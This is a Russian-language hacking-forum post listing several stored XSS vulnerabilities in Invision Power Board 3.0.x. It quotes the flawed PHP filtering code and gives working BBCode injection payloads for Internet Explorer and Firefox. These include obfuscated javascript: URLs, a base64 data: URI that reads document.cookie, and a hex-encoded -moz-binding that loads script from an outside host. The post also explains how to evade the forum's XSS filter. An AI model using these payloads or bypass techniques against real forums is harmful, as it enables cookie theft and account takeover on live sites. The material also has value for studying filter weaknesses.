Показать сообщение отдельно

  #39  
Старый 05.01.2010, 00:25
Root-access
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
С нами: 9419426

Репутация: 648
По умолчанию

Множественные уязвимости I.P.B.


Вообще, IPB кишит всяческими ошибками.
В паблик части раскрытия путей можно найти, преобразовав входные post-данные в массив.
Это и поле подписи, и значение дня рождения в личных данных, и тема/текст личного сообщения или email-сообщения пользователю. Раскрытие дают функции checkdate(), urlencode(), urldecode() и другие...
XSS тоже можно накопать немало.
Уязвимость: активная XSS.
Требования: права админа =)
Описание:
http://localhost/nipb/admin/index.php?adsess=SESSID&app=core&module=tools&sect ion=qanda&do=new
Создаём новый вопрос с текстом <script>alert()</script> и имеем активную XSS.
Происходит из-за недостаточной фильтрации данных в \admin\applications\core\modules_admin\tools\qanda .php:
PHP код:
        /* Build DB Array */ 
        
$db_array = array(  
                            
'qa_question'    => $_POST['question'], 
                            
'qa_answers'    => $_POST['answers'], 
                        ); 
...
PHP код:
       $this->DB->insert( 'question_and_answer', $db_array ); 

Уязвимость: активная XSS
Требования: проверялось на 3.0.1, на 3.0.4 не работает; браузеры: IE, FF
Описание:
Посмотрим на код файла \admin\sources\classes\bbcode\core.php. Среди прочего там есть функция "защиты" от XSS:
PHP код:
    public function checkXss( $txt='', $fixScript=false ) 
    { 
        
//----------------------------------------- 
        // Opening script tags... 
        // Check for spaces and new lines... 
        //----------------------------------------- 
         
        
if ( $fixScript ) 
        { 
            
$txt = preg_replace( "#<(\s+?)?s(\s+?)?c(\s+?)?r(\s+?)?i(\s+?)?p(\s+?)?t#is"        , "&lt;script" , $txt ); 
            
$txt = preg_replace( "#<(\s+?)?/(\s+?)?s(\s+?)?c(\s+?)?r(\s+?)?i(\s+?)?p(\s+?)?t#is", "&lt;/script", $txt ); 
        } 
         
        
//----------------------------------------- 
        // Here we can do some generic checking for XSS 
        // This should not be considered fool proof, though can provide 
        //    a centralized point for maintenance and checking 
        //----------------------------------------- 
         
        
$txt = str_ireplace( "(j)avascript" , "\\1avascript", $txt ); 
        
$txt = str_ireplace( "alert"      , "alert"          , $txt ); 
        
$txt = str_ireplace( "behavior"   , "behavior"          , $txt ); 
        
$txt = preg_replace( "/(e)((\/\*.*?\*\/)*)x((\/\*.*?\*\/)*)p((\/\*.*?\*\/)*)r((\/\*.*?\*\/)*)e((\/\*.*?\*\/)*)s((\/\*.*?\*\/)*)s((\/\*.*?\*\/)*)i((\/\*.*?\*\/)*)o((\/\*.*?\*\/)*)n/is" , "\\1xp​ression"     , $txt ); 
        
$txt = preg_replace( "/(e)((\\\|\)*)x((\\\|\)*)p((\\\|\)*)r((\\\|\)*)e((\\\|\)*)s((\\\|\)*)s((\\\|\)*)i((\\\|\)*)o((\\\|\)*)n/is"       , "\\1xp​ression"           , $txt ); 
        
$txt = preg_replace( "/m((\\\|\)*)o((\\\|\)*)z((\\\|\)*)\-((\\\|\)*)b((\\\|\)*)i((\\\|\)*)n((\\\|\)*)d((\\\|\)*)i((\\\|\)*)n((\\\|\)*)g/is"       , "moz-​binding"           , $txt ); 
        
$txt = str_ireplace( "about:"     , "about:"         , $txt ); 
        
$txt = str_ireplace( "<body"      , "&lt;body"            , $txt ); 
        
$txt = str_ireplace( "<html"      , "&lt;html"            , $txt ); 
        
$txt = str_ireplace( "document." , "document."      , $txt ); 
        
$txt = str_ireplace( "window."   , "window."      , $txt ); 
         
        
$event_handlers    = array( 'mouseover', 'mouseout', 'mouseup', 'mousemove', 'mousedown', 'mouseenter', 'mouseleave', 'mousewheel', 
                                 
'contextmenu', 'click', 'dblclick', 'load', 'unload', 'submit', 'blur', 'focus', 'resize', 'scroll', 
                                 
'change', 'reset', 'select', 'selectionchange', 'selectstart', 'start', 'stop', 'keydown', 'keyup', 
                                 
'keypress', 'abort', 'error', 'dragdrop', 'move', 'moveend', 'movestart', 'activate', 'afterprint', 
                                 
'afterupdate', 'beforeactivate', 'beforecopy', 'beforecut', 'beforedeactivate', 'beforeeditfocus', 
                                 
'beforepaste', 'beforeprint', 'beforeunload', 'begin', 'bounce', 'cellchange', 'controlselect', 
                                 
'copy', 'cut', 'paste', 'dataavailable', 'datasetchanged', 'datasetcomplete', 'deactivate', 'drag', 
                                 
'dragend', 'dragleave', 'dragenter', 'dragover', 'drop', 'end', 'errorupdate', 'filterchange', 'finish', 
                                 
'focusin', 'focusout', 'help', 'layoutcomplete', 'losecapture', 'mediacomplete', 'mediaerror', 'outofsync', 
                                 
'pause', 'propertychange', 'progress', 'readystatechange', 'repeat', 'resizeend', 'resizestart', 'resume', 
                                 
'reverse', 'rowsenter', 'rowexit', 'rowdelete', 'rowinserted', 'seek', 'syncrestored', 'timeerror', 
                                 
'trackchange', 'urlflip', 
                                ); 
         
        foreach( 
$event_handlers as $handler ) 
        { 
            
$txt = str_ireplace( 'on' . $handler, 'on' . $handler, $txt ); 
        } 

        return 
$txt; 
    } 
Далее в коде идут некоторые замены спецсимволов, но функция htmlspecialchars() не применяется.
Обратные кавычки (`backtips`) не фильтруются.
Кроме того, сразу бросается в глаза, что протокол data не фильтруется.
Составляем запрос (для IE), внедряемся в параметр style тега span:
Код:
[*color=red; background-image:url(javascript:eval(unescape(/%61%6C%65%72%74%28%29/.source)))]asd[/*color]
Для FF:
Код:
[*color=red; \2d\6d\6f\7a\2d\62\69\6e\64\69\6e\67:url(\68\74\74\70\3a\2f\2f\68\61\2e\63\6b\65\72\73\2e\6f\72\67\2f\78\73\73\6d\6f\7a\2e\78\6d\6c\23\78\73\73)]asd[/*color]

Уязвимость: активная XSS
Требования: -
Описание:
//В данном посте косяки, грядут переделки
В последней версии (3.0.5) код функции checkXss() слегка иной, строчка с заменой javascript превратилась в следующую:
PHP код:
 $txt = preg_replace( "/(j)avascript/i" , "\\1avascript", $txt ); 
Но сломаный тег не фильтруется (например, java/**/script). К тому же, не фильтруется протокол data.
Но зато, к фильтру добавилось обрезание всего, что находиться за символом ";". Что ж, зашифруем в адресе data ";"->%3B. Переделаем запрос и получим самодостаточную xss:
Код:
[*color=background:url(data:text/html%3Bbase64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+Cg==)]asd[/*code]

//Далее без претензии на уникальность, развиваю пост LeverOne'а
Теперь вспомним о xss с разрушением тегов.
В IPB фильтруются javascript и -moz-binding.
Не беда - составим запросы с обходом этой фильтрации (разбиваем javascript и шифруем -moz-binding).
Новый запрос для ie:
Код:
[acronym='[acronym=' style=background:url(java/**/script:eval(unescape(/%61%6C%65%72%74%28%29/.source))) ']asd']fgh[/acronym]asd[/acronym]
Для ff: (здесь зашифрован адрес http://ha.ckers.org/xssmoz.xml#xss)
Код:
[acronym='[acronym=' style=\2d\6d\6f\7a\2d\62\69\6e\64\69\6e\67:url(\68\74\74\70\3a\2f\2f\68\61\2e\63\6b\65\72\73\2e\6f\72\67\2f\78\73\73\6d\6f\7a\2e\78\6d\6c\23\78\73\73) ']asd']fgh[/acronym]asd[/acronym]

Последний раз редактировалось Root-access; 15.01.2010 в 21:23..
 
Ответить с цитированием